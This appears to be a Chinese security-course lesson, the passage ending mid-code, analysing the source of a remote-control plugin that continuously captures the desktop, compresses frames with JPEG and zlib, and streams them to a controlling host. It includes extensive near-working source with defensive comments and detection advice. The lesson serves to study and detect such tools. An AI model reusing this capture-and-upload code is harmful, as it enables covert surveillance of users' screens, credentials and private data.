免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
本课只从安全工程角度阅读 主插件\高速屏幕。屏幕采集能力可以用于合法远程协助,但也可能暴露客户资料、聊天内容、浏览器页面、会议画面、凭据输入过程和业务系统操作。因此本课不讲如何使用远程屏幕能力,不讲控制步骤,不讲规避检测,只讲源码结构、数据链路、风险点和企业检测方法。
屏幕类专栏导读:三种当前桌面屏幕模式
第 24、25、26 课应放在一起读。它们都围绕“当前桌面/显示器画面采集”展开,但解决问题的方式不同:
BitBlt、JPEG/zlib、长连接、剪贴板和控制命令 | ||||
三者的共同点是都从当前桌面或显示器画面取数据,并把画面编码后发送;不同点是编码策略和传输形态。高速屏幕偏“快速发图”,差异屏幕偏“只发变化”,娱乐屏幕偏“视频流”。第 29 课的后台桌面与后台窗口不属于这三种当前桌面模式,它多了 Windows 桌面对象、后台 GUI 环境和窗口打印式采集。
1. 本课学习目标
读完本课,你应该能理解:
高速屏幕、差异屏幕、娱乐屏幕三种当前桌面屏幕模式的差异和适用场景。 为什么它叫“高速屏幕”:连续循环、变化扫描、JPEG 内存编码、zlib 封包和 FPS 节流如何共同服务低延迟。 CScreenQuickManager和CScreenSpy的分工。首帧、后续帧、位图信息、屏幕尺寸各自解决什么问题。 高速屏幕使用的是哪个 JPEG 库,以及为什么要引入 libjpeg-turbo。 BitBlt、DIBSection、JPEG、zlib 和TOKEN_*如何构成屏幕数据链。命令面里哪些能力属于高风险,例如屏蔽输入、黑屏、剪贴板和远程控制事件。 企业如何从图形 API、压缩库、持续上行流量和隐私权限中建立检测。
2. 源码目录和文件
主插件\高速屏幕\高速屏幕.sln | |
主插件\高速屏幕\高速屏幕\高速屏幕.cpp | |
主插件\高速屏幕\高速屏幕\ScreenQuickManager.h | |
主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp | |
主插件\高速屏幕\高速屏幕\ScreenSpy.h | |
主插件\高速屏幕\高速屏幕\ScreenSpy.cpp | |
主插件\高速屏幕\高速屏幕\CursorInfo.h | |
主插件\高速屏幕\高速屏幕\turbojpeg.hjpeglib.h |
依赖说明: 本课涉及 Windows GDI、JPEG 编码库和 zlib 压缩。GDI 负责从桌面设备上下文取图,jpeglib.h/turbojpeg.h 负责把位图压缩成 JPEG,zlib 负责进一步压缩发送数据。单独使用这些库并不等于风险,关键是它们和 BitBlt、持续工作线程、TOKEN_* 发送、长连接组合在一起。后续代码注释会把采集源、压缩出口和网络出口写在对应片段里。
2.1 JPEG 使用的是哪个库
高速屏幕这里使用的是 libjpeg-turbo 提供的 libjpeg 兼容接口。判断依据有两个:
ScreenSpy.h里包含的是jpeglib.h,源码调用的是jpeg_compress_struct、jpeg_mem_dest、jpeg_set_quality、jpeg_write_scanlines这一组 libjpeg API。同一个头文件里通过 #pragma comment(lib, "...")链接的是turbojpeg_32_*/turbojpeg_64_*静态库或导入库。
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenSpy.h:1-19// 防御分析注释:// 1. 代码包含 jpeglib.h,说明业务代码走的是 libjpeg API 风格。// 2. 但链接库名是 turbojpeg_*,说明实际依赖来自 libjpeg-turbo。// 3. 这里没有直接调用 tjCompress2 这类 TurboJPEG API,而是使用兼容的 jpeg_* 函数。// 4. 检测时不要只搜 tjCompress2,也要关注 jpeg_mem_dest、jpeg_write_scanlines 等函数。#include"jpeglib.h"#ifdef _WIN64#ifdef _DEBUG#pragma comment(lib, "turbojpeg_64_d.lib")#else#pragma comment(lib, "turbojpeg_64_r.lib")#endif#else#ifdef _DEBUG#pragma comment(lib, "turbojpeg_32_d.lib")#else#pragma comment(lib, "turbojpeg_32_r.lib")#endif#endif为什么要引入这个库?原因主要有三点:
BitBlt | ||
jpeg_mem_dest | ||
JCS_EXT_BGRA |
libjpeg-turbo 本身是常见合法图像库。风险来自组合关系:BitBlt 持续采集桌面,DIBSection 暴露像素内存,libjpeg-turbo 把像素压成 JPEG,zlib 再压缩封包,最后通过长连接持续上行。企业检测要看这条链路,而不是把某个 JPEG 库单独视为恶意。
这个插件的主线可以概括成:
插件入口 -> 网络连接 -> CScreenQuickManager -> CScreenSpy -> GDI 采集 -> JPEG/zlib 压缩 -> TOKEN_* 发送

3. 高速屏幕和普通截图的区别:为什么叫“高速屏幕”
普通截图通常是一次性动作:采集一张图,保存或展示。高速屏幕插件更接近“远程屏幕流”:
这里的“高速”不是说它一定能稳定跑到很高 FPS,也不是说画质一定最好,而是说它的源码设计目标偏向“尽快把当前桌面变化送出去”。新手可以从五个代码特征理解这个命名:
WorkThreadwhile (m_bIsWorking) 循环 | sendNextScreen(),不是单次截图 | |
ScanChangedRect(TRUE) | ||
BMP_JPG(..., &bitstream) | ||
compress(...) | ||
SetFps()m_dwSleep 控制节奏 |
所以,本课说的“高速屏幕”可以理解为:面向低延迟远程查看的快速图像帧链路。它和第 32 课“差异屏幕”的区别是,差异屏幕更强调“尽量少传变化字节”;它和第 33 课“娱乐屏幕”的区别是,娱乐屏幕把屏幕当视频流,用 H.264 做帧间压缩。高速屏幕则更像“快速抓图、快速压缩、快速发包”的折中方案。
因此,防御侧不能只搜“截图函数”。它还要看帧率、变化扫描、压缩、网络、控制命令和剪贴板行为。
4. 插件入口:连接成功后创建屏幕管理器
入口结构和前面几个主插件类似:按配置创建 TCP/UDP socket,连接成功后创建管理器,并进入事件循环。
// 源码位置:主插件\高速屏幕\高速屏幕\高速屏幕.cpp:8-43// 防御分析注释:连接成功后创建 CScreenQuickManager。// 屏幕采集和网络连接绑定,是企业检测中的重要关联点。structplugInfo{char mark[30]; TCHAR szAddress[255]; DWORD szPort; BOOL IsTcp; BOOL RunDllEntryProc;} MyInfo ={"plugmark", _T("127.0.0.1"),6666,1,0};DWORD WINAPI MainThread(LPVOID dllMainThread){ ISocketBase* socketClient;if (MyInfo.IsTcp == 1) socketClient = new CTcpSocket();else socketClient = new CUdpSocket();if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort)) {CScreenQuickManager manager(socketClient); socketClient->run_event_loop(); } SAFE_DELETE(socketClient);if (MyInfo.RunDllEntryProc) ExitProcess(0);return0;}这里最重要的不是 127.0.0.1 或 6666 这些示例配置,而是“连接成功后进入屏幕采集管理器”这个行为模型。
5. CScreenQuickManager:会话层状态机
CScreenQuickManager 负责三件事:
初始化屏幕采集对象。 接收命令并调整采集参数。 循环发送位图信息、屏幕尺寸、首帧和后续帧。
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp:12-32// 防御分析注释:// 1. CScreenQuickManager 是高速屏幕会话层,连接建立后就会创建。// 2. m_fps 默认是 1,但后面可通过 COMMAND_SCREEN_FPS_QUICK 调整。// 3. CScreenSpy 真正负责屏幕采集,管理器负责把采集结果封包发送。// 4. WorkThread 是“高速屏幕”名字的核心证据之一:它会持续发送后续帧。// 5. ControlThread 不采集画面,但维护黑屏、输入屏蔽、分辨率变化等高风险状态。CScreenQuickManager::CScreenQuickManager(ISocketBase* pClient) : CManager(pClient){// m_biBitCount 决定位图位深。这里默认 32 位,和后续 JPEG 的 BGRA 输入对应。 m_biBitCount = 32;// m_fps 影响 CScreenSpy::SetFps() 里的帧间休眠。// 从防御角度看,可被远端命令改变的采集频率是屏幕流的重要线索。 m_fps = 1;// 创建屏幕采集对象。后续 BitBlt、DIBSection、JPEG 编码都在这个对象内完成。 m_pScreenSpy = new CScreenSpy(32);// m_bIsWorking 控制 WorkThread 的 while 循环。// 它为 true 时,sendNextScreen() 会不断被调用。 m_bIsWorking = true;// 这几个状态本身不是截图所需,而是远程控制类能力的风险信号。 m_bIsBlankScreen = false; m_bIsBlockInput = false; m_bIsCaptureLayer = false;// 获取桌面 DC 和虚拟屏幕尺寸,用于判断后续是否发生分辨率变化。 m_hDeskTopDC = GetDC(GetDesktopWindow()); m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN); m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);// 默认算法是 COMMAND_SCREEN_ALGORITHM_HOME,后续会走 JPEG + 变化矩形链路。 m_bAlgorithm = COMMAND_SCREEN_ALGORITHM_HOME;// 工作线程负责“发屏幕帧”,控制线程负责“维护控制状态”。// 两条线程同时出现,是持续远程屏幕会话而非一次性截图的证据。 m_hWorkThread = (HANDLE)_beginthreadex(NULL, 0, WorkThread, this, 0, NULL); m_hBlankThread = (HANDLE)_beginthreadex(NULL, 0, ControlThread, this, 0, NULL);}这段代码的安全信号应直接跟源码读:new CScreenSpy(32) 初始化屏幕采集对象,GetDC(GetDesktopWindow()) 获取桌面设备上下文,WorkThread 长期发送屏幕帧,ControlThread 维护黑屏、输入屏蔽和分辨率变化状态,m_fps 则会影响网络传输频率。
6. 帧发送时序:先描述数据链,再看函数
高速屏幕不是直接“抓一张图发走”。它先发送位图信息,再发送尺寸,然后发首帧,最后循环发后续帧。

源码对应的工作线程:
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp:221-241// 防御分析注释:// 1. WorkThread 是高速屏幕的帧发送主循环。// 2. 它先发送 BITMAPINFO 和尺寸,让主控端知道如何解释后续像素数据。// 3. sendFirstScreen() 建立首帧基线,sendNextScreen() 进入持续更新。// 4. while 循环没有业务动作完成即退出的语义,说明它是会话型屏幕流。unsignedCScreenQuickManager::WorkThread(LPVOID lparam){ CScreenQuickManager* pThis = (CScreenQuickManager*)lparam;// 第一步:发送位图头。没有它,接收端无法知道像素格式、位深和尺寸解释方式。 pThis->sendBITMAPINFO();// 第二步:等待主控端窗口准备好。// 防御侧可以把它理解为“远程查看窗口打开后才开始持续出图”。if (pThis->m_bIsWorking) pThis->WaitForDialogOpen();// 第三步:发送虚拟屏幕位置和宽高。 pThis->sendsize();// 第四步:发送首帧。首帧通常比后续帧更大,用于初始化远端画面。 pThis->sendFirstScreen(); pThis->m_bIsWorking = true;// 第五步:持续发送后续帧。// “高速”的关键就在这里:采集、压缩、发送会被连续重复执行。while (pThis->m_bIsWorking) { pThis->sendNextScreen(); }return0;}这段逻辑说明:如果企业侧看到未知进程持续调用屏幕采集 API,并且网络侧出现稳定上行数据,不应只看某一帧,而要看连续会话。
7. 位图信息和屏幕尺寸:主控渲染前的基础数据
sendBITMAPINFO 发送位图头,sendsize 发送屏幕坐标和尺寸。主控端没有这些元数据,就无法正确解释后续帧。
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp:140-163// 防御分析注释:// 1. BITMAPINFO 和屏幕尺寸不是画面内容,而是屏幕流的“解释说明书”。// 2. 元数据小包后跟随大量压缩帧,是远程屏幕类协议的常见形态。voidCScreenQuickManager::sendBITMAPINFO(){// 实际源码函数名是 getBitmapInfoSize() / getBitmapInfo()。// TOKEN_BITMAPINFO_QUICK 告诉接收端:后面的字节是位图头。 DWORD dwBytesLength = 1 + m_pScreenSpy->getBitmapInfoSize(); LPBYTE lpBuffer = new BYTE[dwBytesLength]; lpBuffer[0] = TOKEN_BITMAPINFO_QUICK;memcpy(lpBuffer + 1, m_pScreenSpy->getBitmapInfo(), dwBytesLength - 1); Send(lpBuffer, dwBytesLength); SAFE_DELETE_AR(lpBuffer);}voidCScreenQuickManager::sendsize(){ RECT m_rect;// iScreenX / iScreenY 是虚拟屏幕左上角。// 多显示器或缩放场景下,这两个值可能不是 0。 m_rect.left = m_pScreenSpy->iScreenX; m_rect.top = m_pScreenSpy->iScreenY;// right / bottom 在这里存放宽高,不是传统 RECT 的右下绝对坐标。// 读源码时要结合接收端解析方式理解。 m_rect.right = m_pScreenSpy->m_nFullWidth; m_rect.bottom = m_pScreenSpy->m_nFullHeight; LPBYTE lpBuffer = new BYTE[sizeof(RECT) + 1]; lpBuffer[0] = TOKEN_SIZE_QUICK;memcpy(lpBuffer + 1, &m_rect, sizeof(RECT)); Send(lpBuffer, sizeof(RECT) + 1); SAFE_DELETE_AR(lpBuffer);}防御侧可以把这类元数据包作为屏幕流识别线索:小包先出现,随后进入压缩图像数据流。
8. 首帧与后续帧:屏幕流的核心出口
首帧通常用于初始化远端画面,后续帧用于更新变化内容。高速屏幕插件在发送前会进行压缩。
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp:165-219// 防御分析注释:// 1. 首帧和后续帧都会经过“采集 -> zlib 压缩 -> TOKEN 封包 -> Send”。// 2. dwBytes 是压缩前长度,destLen 是 zlib 压缩后长度。// 3. 包内保留 dwBytes,是为了让接收端知道解压后的原始大小。// 4. 这里不落盘,说明屏幕数据从采集到发送都在内存里完成。voidCScreenQuickManager::sendFirstScreen(){ DWORD dwBytes = 0;// getFirstScreen() 返回的是已经被 CScreenSpy 组织好的首帧缓冲区:// [算法标识][JPEG 全屏数据]。具体结构在 ScreenSpy.cpp 里形成。 LPVOID lpFirstScreen = m_pScreenSpy->getFirstScreen(&dwBytes);if (dwBytes == 0 || lpFirstScreen == NULL)return;// zlib 官方建议目标缓冲区略大于源缓冲区。// 防御侧可关注 compress 与屏幕采集 API 的同进程关联。unsignedlong destLen = (unsignedlong)((double)dwBytes * 1.001 + 12); LPBYTE pDest = new BYTE[destLen];if (compress(pDest, &destLen, (byte*)lpFirstScreen, dwBytes) != Z_OK) { SAFE_DELETE_AR(pDest);return; } DWORD dwBytesLength = 1 + destLen + 4; LPBYTE lpBuffer = new BYTE[dwBytesLength];// TOKEN_FIRSTSCREEN_QUICK 标识首帧。// 后面 4 字节保存解压后的原始长度,再后面是 zlib 压缩数据。 lpBuffer[0] = TOKEN_FIRSTSCREEN_QUICK;memcpy(lpBuffer + 1, &dwBytes, 4);memcpy(lpBuffer + 5, pDest, destLen); Send(lpBuffer, dwBytesLength); SAFE_DELETE_AR(lpBuffer); SAFE_DELETE_AR(pDest);}voidCScreenQuickManager::sendNextScreen(){ DWORD dwBytes = 0;// getNextScreen() 不是简单返回整屏截图。// 它会写入算法、光标位置、光标类型,并扫描变化矩形。 LPVOID lpNetScreen = m_pScreenSpy->getNextScreen(&dwBytes);if (dwBytes == 0 || !lpNetScreen)return;unsignedlong destLen = (unsignedlong)((double)dwBytes * 1.001 + 12); LPBYTE pDest = new BYTE[destLen];if (compress(pDest, &destLen, (byte*)lpNetScreen, dwBytes) != Z_OK) { SAFE_DELETE_AR(pDest);return; } DWORD dwBytesLength = 1 + destLen + 4; LPBYTE lpBuffer = new BYTE[dwBytesLength];// TOKEN_NEXTSCREEN_QUICK 标识后续帧。// 高频出现该 token 时,应结合 BitBlt/JPEG/zlib/外联做关联分析。 lpBuffer[0] = TOKEN_NEXTSCREEN_QUICK;memcpy(lpBuffer + 1, &dwBytes, 4);memcpy(lpBuffer + 5, (constchar*)pDest, destLen); Send(lpBuffer, dwBytesLength); SAFE_DELETE_AR(lpBuffer); SAFE_DELETE_AR(pDest);}这里要抓住执行顺序:
CScreenSpy产生屏幕数据。compress做 zlib 压缩。前面加令牌和原始长度。 通过 socket 发送。
9. CScreenSpy:真正接触屏幕的类
CScreenSpy 负责屏幕设备上下文、内存位图、位图头、光标信息、JPEG 压缩和变化区域扫描。
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenSpy.h:21-60// 防御分析注释:// 1. ScreenSpy 是真正接触桌面像素的类。// 2. 它持有桌面 DC、内存 DC、DIBSection 像素指针和变化缓冲区。// 3. 这些成员本身可用于合法图像处理,但和长连接、TOKEN 发送组合后风险显著升高。classCScreenSpy{public:// 首帧:通常用于接收端初始化完整画面。LPVOID getFirstScreen(LPDWORD lpdwBytes);// 后续帧:写入光标信息和变化矩形,降低每次发送的数据量。LPVOID getNextScreen(LPDWORD lpdwBytes);// 位图元数据。接收端需要根据它解释像素格式。LPBITMAPINFO getBitmapInfo();UINT getBitmapInfoSize();// 调整编码算法、分层窗口捕获、帧率和 JPEG 质量。voidsetAlgorithm(int bAlgorithm);voidsetCaptureLayer(bool bIsCaptureLayer);boolSwitchInputDesktop();voidSendUALITY(UINT UALITY);voidSetFps(int nfps);public:// m_hDeskTopDC:桌面图像来源。// m_hLastMemDC / m_hCurrMemDC:上一帧和当前帧,用于比较变化区域。// m_hRectMemDC:单个变化矩形的临时编码区域。 HDC m_hDeskTopDC, m_hLastMemDC, m_hCurrMemDC, m_hRectMemDC;// DIBSection 让 GDI 位图和进程内存缓冲关联起来。// m_lpvLastBits / m_lpvCurrBits 会被 ScanChangedRect() 逐像素比较。 HBITMAP m_hLastBitmap, m_hCurrBitmap; LPVOID m_lpvLastBits, m_lpvCurrBits; LPBITMAPINFO m_lpbmi_full, m_lpbmi_rect;// m_changedBuffer 是最终交给管理器压缩发送的缓冲区。 LPBYTE m_changedBuffer; UINT m_changedOffset;// 这些私有工具函数负责构造位图头、写发送缓冲、复制变化块和 JPEG 编码。LPBITMAPINFO ConstructBitmapInfo(int biBitCount, int biWidth, int biHeight);voidWriteChangedBuffer(LPBYTE lpData, int nCount);voidCopyChangedRect(LPRGNDATA lpRgnData, DWORD dwRgnSize);intBMP_JPG(int width, int height, int cbit, int quality, void* input, void** output);};从安全角度看,CScreenSpy 不是普通图像处理类。它持有桌面 DC 和内存位图,持续把桌面画面变成可传输数据。
10. 屏幕采集与压缩管线
高速屏幕的数据管线可以画成这样:

对应源码先初始化设备上下文和 DIB:
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenSpy.cpp:22-75// 防御分析注释:// 1. 构造函数准备桌面 DC、内存 DC、DIBSection 和变化缓冲。// 2. 这类初始化在截图/录屏/远程协助中都可能出现,不能单点定性。// 3. 如果同进程随后持续 JPEG/zlib 压缩并外联发送,风险等级会上升。CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate){// biBitCount 决定位图位深。默认 32 位时,后续 JPEG 输入按 BGRA 处理。 m_biBitCount = biBitCount;if (!SelectInputWinStation()) {// 获取当前桌面窗口和桌面 DC,后续 BitBlt 从这里取像素。 m_hDeskTopWnd = GetDesktopWindow(); m_hDeskTopDC = GetDC(m_hDeskTopWnd); }// SRCCOPY 表示普通源像素复制;开启 CAPTUREBLT 时可尝试包含分层窗口。 m_dwBitBltRop = SRCCOPY;// m_dwSleep 是帧间最小间隔,用于控制发送节奏。 m_nMaxFrameRate = nMaxFrameRate; m_dwSleep = 1000 / nMaxFrameRate;// DPI 缩放会影响屏幕尺寸换算。这里把逻辑分辨率转换到桌面实际分辨率。 HDC hdc = GetDC(NULL);int client_width_now = GetDeviceCaps(hdc, HORZRES);int client_width_old = GetDeviceCaps(hdc, DESKTOPHORZRES); fDpiRatio = (float)client_width_old / (float)client_width_now; ReleaseDC(NULL, hdc); m_nFullWidth = (int)((float)(::GetSystemMetrics(SM_CXVIRTUALSCREEN)) * fDpiRatio); m_nFullHeight = (int)((float)(::GetSystemMetrics(SM_CYVIRTUALSCREEN)) * fDpiRatio);// 两个内存 DC 分别保存上一帧和当前帧。// 这就是后续变化矩形扫描的基础。 m_hLastMemDC = ::CreateCompatibleDC(m_hDeskTopDC); m_hCurrMemDC = ::CreateCompatibleDC(m_hDeskTopDC); m_hRectMemDC = ::CreateCompatibleDC(m_hDeskTopDC); m_lpbmi_full = ConstructBitmapInfo(m_biBitCount, m_nFullWidth, m_nFullHeight); m_lpbmi_rect = ConstructBitmapInfo(m_biBitCount, m_nFullWidth, m_nFullHeight);// DIBSection 会把 GDI 位图映射到进程可读写内存。// m_lpvLastBits / m_lpvCurrBits 后续会被直接比较。 m_hLastBitmap = ::CreateDIBSection(m_hDeskTopDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvLastBits, NULL, NULL); m_hCurrBitmap = ::CreateDIBSection(m_hDeskTopDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvCurrBits, NULL, NULL); ::SelectObject(m_hLastMemDC, m_hLastBitmap); ::SelectObject(m_hCurrMemDC, m_hCurrBitmap);// 变化缓冲区最终会被 sendFirstScreen/sendNextScreen 做 zlib 压缩并发送。 m_changedBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2]; m_changedOffset = 0;}再看首帧和后续帧:
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenSpy.cpp:94-170// 防御分析注释:// 1. BitBlt 是这里的屏幕采集核心 API。// 2. getFirstScreen() 建立首帧,getNextScreen() 建立持续变化帧。// 3. 两者都写入 m_changedBuffer,随后由管理器层 zlib 压缩并发送。LPVOID CScreenSpy::getFirstScreen(){// 每次采集前切到当前输入桌面,避免线程仍停留在旧桌面对象。 SelectInputWinStation();// 重置输出缓冲区;后面所有 WriteChangedBuffer 都从头写。 m_changedOffset = 0;// 第 1 字节写算法标识。接收端需要先知道后面的帧数据如何解释。 BYTE algorithm = (BYTE)m_bAlgorithm; WriteChangedBuffer((LPBYTE)&algorithm, sizeof(algorithm));// 把整个虚拟屏幕复制到“上一帧”内存位图。// 首帧不做矩形比较,因为接收端还没有基线画面。 ::BitBlt(m_hLastMemDC, 0, 0, m_nFullWidth, m_nFullHeight, m_hDeskTopDC, iScreenX, iScreenY, m_dwBitBltRop);if (m_bAlgorithm == COMMAND_SCREEN_ALGORITHM_HOME) {void* bitstream = NULL;int bitstreamlen = BMP_JPG(m_nFullWidth, m_nFullHeight, m_biBitCount, m_SendUALITY, m_lpvLastBits, &bitstream);// 首帧直接写入整屏 JPEG 数据。if (bitstreamlen > 0) WriteChangedBuffer((LPBYTE)bitstream, bitstreamlen);if (bitstream)free(bitstream); }return m_changedBuffer;}LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes){ SelectInputWinStation(); m_changedOffset = 0; BYTE algorithm = (BYTE)m_bAlgorithm; WriteChangedBuffer((LPBYTE)&algorithm, sizeof(algorithm));// 后续帧先写光标位置。远端渲染时可以把光标状态同步过去。 POINT CursorPos; GetCursorPos(&CursorPos); CursorPos.x = (long)(fDpiRatio * (float)CursorPos.x); CursorPos.y = (long)(fDpiRatio * (float)CursorPos.y); CursorPos.x -= iScreenX; CursorPos.y -= iScreenY; WriteChangedBuffer((LPBYTE)&CursorPos, sizeof(POINT));// 再写光标类型。光标变化本身也可能暴露用户当前操作状态。 BYTE bCursorIndex = m_CursorInfo.getCurrentCursorIndex(); WriteChangedBuffer(&bCursorIndex, sizeof(BYTE));// 把当前桌面复制到“当前帧”位图。 ::BitBlt(m_hCurrMemDC, 0, 0, m_nFullWidth, m_nFullHeight, m_hDeskTopDC, iScreenX, iScreenY, m_dwBitBltRop);if (m_bAlgorithm == COMMAND_SCREEN_ALGORITHM_HOME) {// 扫描当前帧和上一帧的差异矩形,并把变化区域编码进 m_changedBuffer。 ScanChangedRect(TRUE); } *lpdwBytes = m_changedOffset;// 通过 m_dwSleep 做帧率节流。// 这说明“高速”不是无限循环,而是在可调帧率内持续采集。while (GetTickCount() - m_dwLastCapture < m_dwSleep) Sleep(10); InterlockedExchange((LPLONG)&m_dwLastCapture, GetTickCount());return m_changedBuffer;}这里的检测线索是:
GetDesktopWindowGetDC | |
CreateCompatibleDC | |
CreateDIBSection | |
BitBlt | |
GetCursorPos | |
11. 变化矩形和 JPEG 编码:高速链路如何减少传输量
高速屏幕不是每次都把完整桌面当原始位图发送。首帧建立完整画面,后续帧先扫描当前帧和上一帧的差异,再把变化矩形单独编码为 JPEG。这样做有两个直接效果:
屏幕变化少时,后续帧可以比整屏帧小很多。 接收端只要把变化矩形贴回原画面,就能看到连续更新。
这也是它叫“高速屏幕”的重要原因:它不是追求最高压缩率,而是用较轻的变化扫描和 JPEG 编码,在低延迟和带宽之间做折中。
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenSpy.cpp:321-407// 防御分析注释:// 1. ScanChangedRect() 比较上一帧和当前帧,找出变化区域。// 2. CopyChangedRect() 把每个变化矩形复制出来并编码成 JPEG。// 3. 缓冲区格式大致是:[算法][光标位置][光标类型][变化块...]// 4. 每个变化块包含 JPEG 长度、JPEG 数据和 RECT 坐标。BOOL CScreenSpy::ScanChangedRect(BOOL bCopyChangedRect){ LPDWORD p1, p2; RECT changedRect; HRGN hRgnChanged = NULL, hRgnCombine;// DEF_YSTEP / DEF_XSTEP 让扫描按步长进行,避免逐像素全量处理过重。// 这是一种速度优先的取舍:快,但变化区域可能会被扩张。for (int y = m_nScanLine; y < m_nFullHeight; y += DEF_YSTEP) {// p1 指向上一帧,p2 指向当前帧。// 两帧都来自 DIBSection,因此可以直接按内存比较。 p1 = (LPDWORD)((LPBYTE)m_lpvLastBits + (m_nFullHeight - 1 - y) * m_nPerLineDataSize); p2 = (LPDWORD)((LPBYTE)m_lpvCurrBits + (m_nFullHeight - 1 - y) * m_nPerLineDataSize);for (int x = 0; x < m_nFullWidth; ) {if (*p1 == *p2) { p1++; p2++; x += m_nIncSize;continue; }// 发现差异后,不只取一个像素,而是扩成一个小矩形。// 这样可以减少碎片块数量,提升发送效率。 changedRect.left = max(x - DEF_XSTEP, 0); changedRect.top = max(y - DEF_YSTEP, 0); changedRect.right = min(x + DEF_XSTEP, m_nFullWidth); changedRect.bottom = min(y + DEF_YSTEP, m_nFullHeight);if (hRgnChanged == NULL) hRgnChanged = CreateRectRgnIndirect(&changedRect);else { hRgnCombine = CreateRectRgnIndirect(&changedRect); CombineRgn(hRgnChanged, hRgnChanged, hRgnCombine, RGN_OR); DeleteObject(hRgnCombine); } p1 += DEF_XSTEP / m_nIncSize; p2 += DEF_XSTEP / m_nIncSize; x += DEF_XSTEP; } }// 下一轮从不同扫描行起步,避免长期只看同一批行。 m_nScanLine = (m_nScanLine + 3) % DEF_YSTEP;if (hRgnChanged) { DWORD dwRgnSize = GetRegionData(hRgnChanged, 0, NULL); LPRGNDATA lpRgnData = (LPRGNDATA)new BYTE[dwRgnSize]; GetRegionData(hRgnChanged, dwRgnSize, lpRgnData); DeleteObject(hRgnChanged);// 把变化区域真正复制出来并写入发送缓冲。 CopyChangedRect(lpRgnData, dwRgnSize);delete[] lpRgnData;return TRUE; }return FALSE;}voidCScreenSpy::CopyChangedRect(LPRGNDATA lpRgnData, DWORD dwRgnSize){ LPRECT lpChangedRect = (LPRECT)lpRgnData->Buffer;for (int i = 0; i < (int)(lpRgnData->rdh.nCount); i++) {int nChangedRectWidth = lpChangedRect[i].right - lpChangedRect[i].left;int nChangedRectHeight = lpChangedRect[i].bottom - lpChangedRect[i].top;// 为当前变化矩形重设位图头。// 变化块不是整屏尺寸,而是当前 RECT 的宽高。 m_lpbmi_rect->bmiHeader.biWidth = nChangedRectWidth; m_lpbmi_rect->bmiHeader.biHeight = nChangedRectHeight; m_lpbmi_rect->bmiHeader.biSizeImage = (((nChangedRectWidth * m_biBitCount + 31) & ~31) >> 3) * nChangedRectHeight;// 创建矩形 DIBSection,m_lpvRectBits 指向该变化块的像素内存。// 后面的 BMP_JPG() 就是把这块内存编码成 JPEG。 m_lpvRectBits = NULL; m_hRectBitmap = ::CreateDIBSection(m_hDeskTopDC, m_lpbmi_rect, DIB_RGB_COLORS, &m_lpvRectBits, NULL, NULL); ::SelectObject(m_hRectMemDC, m_hRectBitmap);// 第一处 BitBlt:把当前变化块写回上一帧基线。// 这样下一次比较时,上一帧已经追上当前帧。 ::BitBlt(m_hLastMemDC, lpChangedRect[i].left, lpChangedRect[i].top, nChangedRectWidth, nChangedRectHeight, m_hCurrMemDC, lpChangedRect[i].left, lpChangedRect[i].top, SRCCOPY);// 把变化区域复制到 m_hRectMemDC,用于单独 JPEG 编码。// 第二处 BitBlt:把变化块复制到临时矩形位图,准备编码。 ::BitBlt(m_hRectMemDC, 0, 0, nChangedRectWidth, nChangedRectHeight, m_hCurrMemDC, lpChangedRect[i].left, lpChangedRect[i].top, SRCCOPY);void* bitstream = NULL;int bitstreamlen = BMP_JPG(nChangedRectWidth, nChangedRectHeight, m_biBitCount, m_SendUALITY, m_lpvRectBits, &bitstream);if (bitstreamlen > 0) {// 每个变化块写入:JPEG 长度 -> JPEG 数据 -> RECT 坐标。// 接收端据此把小块贴回完整画面。 WriteChangedBuffer((LPBYTE)&bitstreamlen, sizeof(int)); WriteChangedBuffer((LPBYTE)bitstream, bitstreamlen); WriteChangedBuffer((LPBYTE)&lpChangedRect[i], sizeof(RECT)); }if (bitstream)free(bitstream); ::DeleteObject(m_hRectBitmap); }}屏幕帧数据很大,直接发送会占用大量带宽。因此代码中使用 JPEG 压缩,再由管理器层使用 zlib 压缩封包。
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenSpy.cpp:267-318// 防御分析注释:// 1. BMP_JPG() 把 DIBSection 中的屏幕像素编码成 JPEG。// 2. 该函数既可处理首帧整屏,也可处理后续变化矩形。// 3. 网络侧看到的不是明文屏幕内容,而是压缩后的高熵二进制数据。intCScreenSpy::BMP_JPG(int width, int height, int cbit, int quality, void* input, void** output){ jpeg_compress_struct jcs; jpeg_error_mgr jem; jcs.err = jpeg_std_error(&jem); jpeg_create_compress(&jcs);unsignedlong outlen = 0;// jpeg_mem_dest 表示输出写入内存,而不是写入文件。// 对检测来说,“内存编码 + 网络发送”比“保存图片文件”更隐蔽。 jpeg_mem_dest(&jcs, (unsignedchar**)output, &outlen);// 根据位深设置 JPEG 输入颜色空间。// 默认 32 位屏幕像素走 JCS_EXT_BGRA。switch (cbit) {case16: jcs.in_color_space = JCS_EXT_RGB; jcs.input_components = 3;break;case24: jcs.in_color_space = JCS_EXT_BGR; jcs.input_components = 3;break;case32: jcs.in_color_space = JCS_EXT_BGRA; jcs.input_components = 4;break;default: jpeg_destroy_compress(&jcs);return-1; } jcs.image_width = width; jcs.image_height = height; jpeg_set_defaults(&jcs);// quality 由命令面可调。质量越高,画面越清晰,通常数据也越大。 jpeg_set_quality(&jcs, quality, TRUE); jpeg_start_compress(&jcs, TRUE);// 逐行写入 JPEG 编码器。line_stride 按位深和 4 字节对齐计算。int line_stride = (jcs.image_width * cbit / 8 + 3) / 4 * 4;while (jcs.next_scanline < 